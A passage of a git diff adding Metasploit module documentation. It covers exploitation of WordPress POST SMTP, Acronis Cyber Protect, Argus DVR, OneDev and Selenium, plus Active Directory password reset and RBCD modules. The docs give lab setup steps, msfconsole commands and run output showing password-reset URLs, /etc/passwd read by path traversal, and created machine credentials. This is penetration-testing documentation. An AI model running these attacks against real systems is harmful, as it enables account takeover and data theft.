192.168.159.96:445 - Using automatically identified domain: MSFLAB -[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY -[*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/samr_computer) > creds -Credentials -=========== - -host origin service public private realm private_type JtR Format ----- ------ ------- ------ ------- ----- ------------ ---------- -192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password - -msf6 auxiliary(admin/dcerpc/samr_computer) > -``` diff --git a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md new file mode 100644 index 000000000000..3ba1a4f01d8c --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md @@ -0,0 +1,105 @@ +## Vulnerable Application + +The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege +escalation where an unauthenticated user is able to reset the password +of an arbitrary user. This is done by requesting a password reset, then +viewing the latest email logs to find the associated password reset email. + +### Install + +1. Create `wp_post_smtp_acct_takeover.docker-compose.yml` with the content: +``` +version: '3.1' + +services: + wordpress: + image: wordpress:latest + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + mem_limit: 512m + volumes: + - wordpress:/var/www/html + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_RANDOM_ROOT_PASSWORD: '1' + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: + +``` +2. `docker-compose -f wp_post_smtp_acct_takeover.docker-compose.yml up` +3. `wget https://downloads.wordpress.org/plugin/post-smtp.2.8.6.zip` +4. `unzip post-smtp.2.8.6.zip` +5. `docker cp post-smtp :/var/www/html/wp-content/plugins` +6. Complete the setup of wordpress +7. Enable the post-smtp plugin, select "default" for the SMTP service + 1. Complete the setup using random information, it isn't validated. +8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244 + 1. Settings -> Permalinks -> Permalink structure -> Select "Post name" -> Save Changes. + + +## Verification Steps + +1. Install the vulnerable plugin +2. Start msfconsole +3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover` +4. Do: `set rhost 127.0.0.1` +5. Do: `set rport 5555` +6. Do: `set ssl false` +7. Do: `set username ` +8. Do: `set verbose true` +9. Do: `run` +10. Visit the output URL to reset the user's password. + +## Options + +### USERNAME + +The username to perform a password reset against + +## Scenarios + +### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker + +``` +msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1 +rhost => 127.0.0.1 +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555 +rport => 5555 +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false +ssl => false +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin +username => admin +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true +verbose => true +msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run +[*] Running module against 127.0.0.1 + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/post-smtp/readme.txt +[*] Found version 2.8.6 in the plugin +[+] The target appears to be vulnerable. +[*] Attempting to Registering token fUefO7U12dXtb0DM on device GP3tOFuMfFErw +[+] Succesfully created token: fUefO7U12dXtb0DM +[*] Requesting logs +[*] Requesting email content from logs for ID 4 +[+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt +[+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US +[*] Auxiliary module execution completed +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/admin/ldap/change_password.md b/documentation/modules/auxiliary/admin/ldap/change_password.md new file mode 100755 index 000000000000..7e38236d5b3c --- /dev/null +++ b/documentation/modules/auxiliary/admin/ldap/change_password.md @@ -0,0 +1,39 @@ +## Introduction + +Allows changing or resetting users' passwords over the LDAP protocol (particularly for Active Directory). + +"Changing" refers to situations where you know the value of the existing password, and send that to the server as part of the password modification. +"Resetting" refers to situations where you may not know the value of the existing password, but by virtue of your permissions over the target account, you can force-change the password without necessarily knowing it. + +Note that users can typically not reset their own passwords (unless they have very high privileges), but can usually change their password as long as they know the existing one. + +This module works with existing sessions (or relaying), especially for Resetting, wherein the target's password is not required. + +## Actions + +- `RESET` - Reset the target's password without knowing the existing one (requires appropriate permissions) +- `CHANGE` - Change the user's password, knowing the existing one. + +## Options + +The required options are based on the action being performed: + +- When resetting a password, you must specify the `TARGET_USER` +- When changing a password, you must specify the `USERNAME` and `PASSWORD`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions) +- The `NEW_PASSWORD` option must always be provided + +**USERNAME** + +The username to use to authenticate to the server. Required for changing a password, even if using an existing session. + +**PASSWORD** + +The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password). + +**TARGET_USER** + +For resetting passwords, the user account for which to reset the password. The authenticated account (username) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right) + +**NEW_PASSWORD** + +The new password to set. \ No newline at end of file diff --git a/documentation/modules/auxiliary/admin/ldap/rbcd.md b/documentation/modules/auxiliary/admin/ldap/rbcd.md index 41efd5de2f7f..1f7e29d36d6d 100644 --- a/documentation/modules/auxiliary/admin/ldap/rbcd.md +++ b/documentation/modules/auxiliary/admin/ldap/rbcd.md @@ -62,14 +62,14 @@ PropagationFlags : None ## Module usage -The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions: +The `admin/dcerpc/samr_account` module is generally used to first create a computer account, which by default, all user accounts in a domain can perform: 1. From msfconsole -2. Do: `use auxiliary/admin/dcerpc/samr_computer` +2. Do: `use auxiliary/admin/dcerpc/samr_account` 3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options - a. For the `ADD_COMPUTER` action, if you don't specify `COMPUTER_NAME` or `COMPUTER_PASSWORD` - one will be generated automatically - b. For the `DELETE_COMPUTER` action, set the `COMPUTER_NAME` option - c. For the `LOOKUP_COMPUTER` action, set the `COMPUTER_NAME` option + a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically + b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option + c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option 4. Run the module and see that a new machine account was added Then the `auxiliary/admin/ldap/rbcd` can be used: @@ -121,19 +121,30 @@ with the Service for User (S4U) Kerberos extension. First create the computer account: ```msf -msf6 auxiliary(admin/dcerpc/samr_computer) > show options +msf6 auxiliary(admin/dcerpc/samr_account) > show options -Module options (auxiliary/admin/dcerpc/samr_computer): + Name Current Setting Required Description + ---- --------------- -------- ----------- + ACCOUNT_NAME no The account name + ACCOUNT_PASSWORD no The password for the new account - Name Current Setting Required Description - ---- --------------- -------- ----------- - COMPUTER_NAME no The computer name - COMPUTER_PASSWORD no The password for the new computer - RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html - RPORT 445 yes The target port (TCP) - SMBDomain . no The Windows domain to use for authentication - SMBPass no The password for the specified username - SMBUser no The username to authenticate as + + Used when connecting via an existing SESSION: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION no The session to run this module on + + + Used when making a new connection via RHOSTS: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 445 yes The target port (TCP) + SMBDomain . no The Windows domain to use for authentication + SMBPass no The password for the specified username + SMBUser no The username to authenticate as Auxiliary action: @@ -143,13 +154,13 @@ Auxiliary action: ADD_COMPUTER Add a computer account -msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.10 +msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser sandy +msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser sandy SMBUser => sandy -msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1! +msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1! SMBPass => Password1! -msf6 auxiliary(admin/dcerpc/samr_computer) > run +msf6 auxiliary(admin/dcerpc/samr_account) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Using automatically identified domain: MSFLAB @@ -157,7 +168,7 @@ msf6 auxiliary(admin/dcerpc/samr_computer) > run [+] 192.168.159.10:445 - Password: A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT [+] 192.168.159.10:445 - SID: S-1-5-21-3402587289-1488798532-3618296993-1655 [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd +msf6 auxiliary(admin/dcerpc/samr_account) > use auxiliary/admin/ldap/rbcd ``` Now use the RBCD module to read the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`: @@ -181,7 +192,7 @@ msf6 auxiliary(admin/ldap/rbcd) > read [*] Auxiliary module execution completed ``` -Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_computer`: +Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_account`: ```msf msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_FROM DESKTOP-QLSTR9NW$ diff --git a/documentation/modules/auxiliary/admin/smb/change_password.md b/documentation/modules/auxiliary/admin/smb/change_password.md new file mode 100755 index 000000000000..7321eaa53160 --- /dev/null +++ b/documentation/modules/auxiliary/admin/smb/change_password.md @@ -0,0 +1,46 @@ +## Introduction + +Allows changing or resetting users' passwords. + +"Changing" refers to situations where you know the value of the existing password, and send that to the server as part of the password modification. +"Resetting" refers to situations where you may not know the value of the existing password, but by virtue of your permissions over the target account, you can force-change the password without necessarily knowing it. + +Note that users can typically not reset their own passwords (unless they have very high privileges). + +This module works with existing sessions (or relaying), especially for Reset use cases, wherein the target's password is not required. + +## Actions + +- `RESET` - Reset the target's password without knowing the existing one (requires appropriate permissions). New AES kerberos keys will be generated. +- `RESET_NTLM` - Reset the target's NTLM hash, without knowing the existing password. AES kerberos authentication will not work until a standard password change occurs. +- `CHANGE` - Change the password, knowing the existing one. New AES kerberos keys will be generated. +- `CHANGE_NTLM` - Change the password to a NTLM hash value, knowing the existing password. AES kerberos authentication will not work until a standard password change occurs. + +## Options + +The required options are based on the action being performed: + +- When resetting a password, you must specify the `TARGET_USER` +- When changing a password, you must specify the `SMBUser` and `SMBPass`, even if using an existing session (since the API requires both of these to be specified, even for open SMB sessions) +- When resetting or changing a password, you must specify `NEW_PASSWORD` +- When resetting or changing an NTLM hash, you must specify `NEW_NTLM` + +**SMBUser** + +The username to use to authenticate to the server. Required for changing a password, even if using an existing session. + +**SMBPass** + +The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password). + +**TARGET_USER** + +For resetting passwords, the user account for which to reset the password. The authenticated account (SMBUser) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right) + +**NEW_PASSWORD** + +The new password to set for `RESET` and `CHANGE` actions. + +**NEW_NTLM** + +The new NTLM hash to set for `RESET_NTLM` and `CHANGE_NTLM` actions. This can either be an NT hash, or a colon-delimited NTLM hash. \ No newline at end of file diff --git a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md new file mode 100644 index 000000000000..47bc24b0e83e --- /dev/null +++ b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md @@ -0,0 +1,205 @@ +## Vulnerable Application +Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. +Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. + +This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect appliance which, +in its default configuration, allows the anonymous registration of new backup/protection agents on new endpoints. +This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. +As the management web console is running on the same port as the API for the agents, +this bearer token is also valid for any actions on the web console. +This allows an attacker with network access to the appliance to start the registration of a new agent, +retrieve a bearer token that provides admin access to the available functions in the web console. + +This module will gather all machine info (endpoints) configured and managed by the appliance. +This information can be used in a subsequent attack that exploits this vulnerability to execute arbitrary commands +on both the managed endpoint and the appliance itself. +This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. + +Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and +Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +The following releases were tested. + +**Acronis Cyber Protect 15 ISO appliances:** +* Acronis Cyber Protect 15 Build 28503 +* Acronis Cyber Protect 15 Build 27009 +* Acronis Cyber Protect 15 Build 26981 +* Acronis Cyber Protect 15 Build 26172 + +**Acronis Cyber Protect 12.5 ISO appliances:** +* Acronis Cyber Protect 12.5 Build 16428 +* Acronis Cyber Protect 12.5 Build 16386 +* Acronis Cyber Protect 12.5 Build 14330 +* Acronis Cyber Protect 12.5 Build 11010 + +## Installation steps to install the Acronis Cyber Protect/Backup appliance +* Install the virtualization engine VMware Fusion on your preferred platform. +* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html). +* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US). +* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image. +* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address +* using the option `change installation settings`. +* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22` +* via the `webui` via `http://your_ip:9877`. +* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect. +* Login into the appliance via the `webui`. +* Follow the license instructions to apply your 30-day trial license. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` +- [ ] `set rhosts ` +- [ ] `run` +- [ ] you should get a list of all endpoints that are registered at the appliance. + +## Options +### OUTPUT +You can use option `table` to print output of the gather info to the console (default). +Choosing option `json` will store all information at a file in `json` format at the loot directory. +You can use this file in combination with `jq` for offline queries and processing. + +## Scenarios +```msf +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > info + + Name: Acronis Cyber Protect/Backup machine info disclosure + Module: auxiliary/gather/acronis_cyber_protect_machine_info_disclosure + License: Metasploit Framework License (BSD) + Rank: Excellent + +Provided by: + h00die-gr3y + Sandro Tolksdorf of usd AG. + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + OUTPUT table yes Output format to use (Accepted: table, json) + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 9877 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup instance + VHOST no HTTP server virtual host + +Description: + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect + appliance which, in its default configuration, allows the anonymous registration of new + backup/protection agents on new endpoints. This API endpoint also generates bearer tokens + which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve + a bearer token that provides admin access to the available functions in the web console. + + This module will gather all machine info (endpoints) configured and managed by the appliance. + This information can be used in a subsequent attack that exploits this vulnerability to + execute arbitrary commands on both the managed endpoint and the appliance which is covered + in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2022-30995 + https://nvd.nist.gov/vuln/detail/CVE-2022-3405 + https://herolab.usd.de/security-advisories/usd-2022-0008/ + https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995 + +View the full module info with the info -d command. +``` +### Acronis Cyber Backup 12.5 build 14330 VMware appliance +```msf +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run + +[*] Running module against 192.168.201.6 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 +[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. +[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. +[*] ---------------------------------------- +[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks +[*] type: machine +[*] hostname: WIN-BJDNH44EEDB +[*] IP: 192.168.201.5 +[*] OS: Microsoft Windows Server 2019 Standard +[*] ARCH: windows +[*] ONLINE: false +[*] ---------------------------------------- +[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83 +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks +[*] type: machine +[*] hostname: AcronisAppliance-AC319 +[*] IP: 192.168.201.6 +[*] OS: GNU/Linux +[*] ARCH: linux +[*] ONLINE: true +[*] Auxiliary module execution completed +``` +### Acronis Cyber Backup 15 build 27009 VMware appliance +```msf +msf6 auxiliary(gather/acronis_cyber_protect_machine_info_disclosure) > run +[*] Running module against 192.168.201.6 + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009 +[*] Retrieve all managed endpoint configuration details registered at the Acronis Cyber Protect/Backup appliance. +[*] List the managed endpoints registered at the Acronis Cyber Protect/Backup appliance. +[*] ---------------------------------------- +[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D +[+] parentId: 00000000-0000-0000-0000-000000000000 +[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks +[*] type: machine +[*] hostname: AcronisAppliance-FCD94 +[*] IP: 192.168.201.6 +[*] OS: Linux: CentOS Linux release 7.6.1810 (Core) +[*] ARCH: linux +[*] ONLINE: true +[*] ---------------------------------------- +[+] hostId: C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E +[+] parentId: 00000000-0000-0000-0000-000000000000 +[+] key: phm.1100195A-112E-4904-A933-264C2D12A4A5@C0FBDC6F-A5FE-4710-ADE8-99B3F8A7CE1E.disks +[*] type: machine +[*] hostname: victim.evil.corp +[*] IP: 192.168.201.2 +[*] OS: Microsoft Windows Server 2022 Standard +[*] ARCH: windows +[*] ONLINE: false +[*] Auxiliary module execution completed +``` + +## Limitations +No limitations. diff --git a/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md b/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md new file mode 100644 index 000000000000..88745b574574 --- /dev/null +++ b/documentation/modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.md @@ -0,0 +1,46 @@ +## Vulnerable Application +This module leverages an issue with how the `RESULTPAGE` parameter within `WEBACCCOUNT.cgi` handles file referencing and as a result is vulnerable to Local File Inclusion (LFI). + +## Options +To successfully read contents of the Windows file system you must set the full file path of the file you want to check using `TARGET_FILE` (not including the drive letter prefix). +As a first run it is recommended to try leaking `Windows/system.ini` as a validation exercise on your first module run. + +## Testing +To setup a test environment, the following steps can be performed: +1. Set up a Windows operating system (any OS that has C:\Windows\system.ini) +2. Download the [Argus DVR 4 Software](https://download.cnet.com/argus-surveillance-dvr/3000-2348_4-10576796.html) +3. Run the Argus software and a webpage running on port 8080 will appear. Take note of the machine's IP +4. On your attacker machine follow the verification steps below. + +## Verification Steps +1. start msfconsole +2. `use auxiliary/gather/argus_dvr4_lfi_cve_2018_15745` +3. `set RHOSTS ` +4. `set TARGET_FILE Windows/system.ini` +5. `run` + +## Scenarios +### Utilising Argus DVR 4 CVE-2018-15745 to Leak DVRParams.ini +``` +msf6 > use auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745 +msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set RHOSTS 192.168.1.15 +RHOSTS => 192.168.1.15 +msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set TARGET_FILE ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini +TARGET_FILE => ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini +msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run +[*] Running module against 192.168.1.15 +[*] Sending request to 192.168.1.15:8080 for file: ProgramData/PY_Software/Argus%20Surveillance%20DVR/DVRParams.ini +[+] File retrieved successfully! +[Main] +ServerName= +ServerLocation= +ServerDescription= +ReadH=0 +UseDialUp=0 +DialUpConName= +DialUpDisconnectWhenDone=0 +DIALUPUSEDEFAULTS" checked checked + +[*] Auxiliary module execution completed + +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md new file mode 100644 index 000000000000..6d9029b131c5 --- /dev/null +++ b/documentation/modules/auxiliary/gather/onedev_arbitrary_file_read.md @@ -0,0 +1,135 @@ +## Vulnerable Application + +OneDev is a Git Server with CI/CD, kanban, and packages. +This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8. +This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file. + +To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor +can view existing projects without authentication. +However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach. +By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability. + +## Installation + +OneDev provides docker images for a quick setup process. +A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8). + +Installation instructions can be found [here](https://docs.onedev.io/). + +## Verification Steps + +1. Install the OneDev application +2. Start msfconsole +3. Do: `use auxiliary/gather/onedev_arbitrary_file_read` +4. Set the `RHOSTS` and `RPORT` options as necessary +5. Set the `TARGETFILE` option with the absolute path of the target file to read + +If a valid project name is known: + +6. Set the `PROJECT_NAME` option with the known project name +7. Do: `run` +8. If the file exists, the contents will be displayed to the user + +If there is no information about existing projects: + +6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name +7. Do: `run` +8. If a valid project name is found, the target file contents will be displayed to the user + +## Options + +### PROJECT_NAME +A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server, +any visitor can see the existing projects, and collect a valid project name. On the other hand, if anonymous access is disabled, +the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force. + +### PROJECT_NAMES_FILE +Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set, +the module will verify whether a given project exists for each word. + + +### TARGETFILE +Absolute file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default. + +### STORE_LOOT +If set as `true`, the target file contents will be stored as loot. Set as `false` by default. + + +## Scenarios + +### Example: Known project name or anonymous access enabled on OneDev 11.0.8 + +``` +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 +RHOSTS => 192.168.1.10 +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 +RPORT => 6610 +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject +PROJECT_NAME => myproject +msf6 auxiliary(gather/onedev_arbitrary_file_read) > run +[*] Running module against 192.168.1.10 + +[+] Target file retrieved with success +[*] root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin + +[*] Auxiliary module execution completed + +``` + +### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8 +``` +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10 +RHOSTS => 192.168.1.10 +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610 +RPORT => 6610 +msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt +PROJECT_NAMES_FILE => /home/server/wordlist.txt +msf6 auxiliary(gather/onedev_arbitrary_file_read) > run +[*] Running module against 192.168.1.10 + +[*] Brute forcing valid project name ... +[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject +[+] Target file retrieved with success +[*] root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +_apt:x:42:65534::/nonexistent:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash +messagebus:x:100:101::/nonexistent:/usr/sbin/nologin + +[*] Auxiliary module execution completed + +``` diff --git a/documentation/modules/auxiliary/gather/selenium_file_read.md b/documentation/modules/auxiliary/gather/selenium_file_read.md new file mode 100644 index 000000000000..d066ecfe7a11 --- /dev/null +++ b/documentation/modules/auxiliary/gather/selenium_file_read.md @@ -0,0 +1,299 @@ +## Vulnerable Application + +If there is an open selenium web driver, a remote attacker can send requests to the victims browser. +In certain cases this can be used to access to the remote file system. + +The vulnerability affects: + + * all version of open Selenium Server (Grid) + +This module was successfully tested on: + + * selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04 + * selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04 + * selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04 + * selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04 + + +### Installation + +1. `docker pull selenium/standalone-firefox:3.141.59` + 